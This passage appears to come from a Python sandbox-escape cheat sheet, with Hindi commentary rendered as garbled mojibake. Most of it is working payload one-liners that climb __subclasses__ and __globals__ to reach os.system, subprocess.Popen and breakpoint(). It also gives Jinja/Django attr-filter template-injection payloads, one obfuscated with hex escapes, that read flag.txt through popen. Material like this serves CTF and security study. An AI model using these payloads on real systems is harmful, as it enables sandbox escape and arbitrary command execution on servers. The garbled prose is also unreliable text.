{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

рдиреАрдЪреЗ рдПрдХ рдмрдбрд╝рд╛ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЧреНрд▓реЛрдмрд▓реНрд╕ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рджрд░реНрдЬрдиреЛрдВ/рд╕реИрдХрдбрд╝реЛрдВ рдЬрдЧрд╣реЛрдВ рдХреЛ рдвреВрдВрдврддрд╛ рд╣реИред

рдордирдорд╛рдиреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ

рдпрд╣рд╛рдБ рдореИрдВ рд╕рдордЭрд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдБ рдХрд┐ рдХреИрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдЬрд╝реНрдпрд╛рджрд╛ рдЦрддрд░рдирд╛рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣рдорд▓реЛрдВ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд╕рд╛рде рдЙрдкрдХрдХреНрд╖рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ

рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рд╕рдмрд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣рд┐рд╕реНрд╕реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдмреЗрд╕ рдЙрдкрдХрдХреНрд╖рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкрд╛рдирд╛ред рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдпрд╣ ''.__class__.__base__.__subclasses__() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рд▓реЗрдХрд┐рди рдЕрдиреНрдп рд╕рдВрднрд╛рд╡рд┐рдд рддрд░реАрдХреЗ рднреА рд╣реИрдВ:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

рдЦрддрд░рдирд╛рдХ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЬрд╛рдирдХрд░ рдХрд┐ рдкреБрд╕реНрддрдХрд╛рд▓рдп sys рдХреЗ рд╕рд╛рде рдордирдорд╛рдиреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рдЖрдпрд╛рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЖрдк рдЙрди рд╕рднреА рдореЙрдбреНрдпреВрд▓реНрд╕ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ sys рдЖрдпрд╛рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╣реИрдВ, рдФрд░ рд╣рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

рд╣рдо рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЗ рд╕рд╛рде рднреА рдпрд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')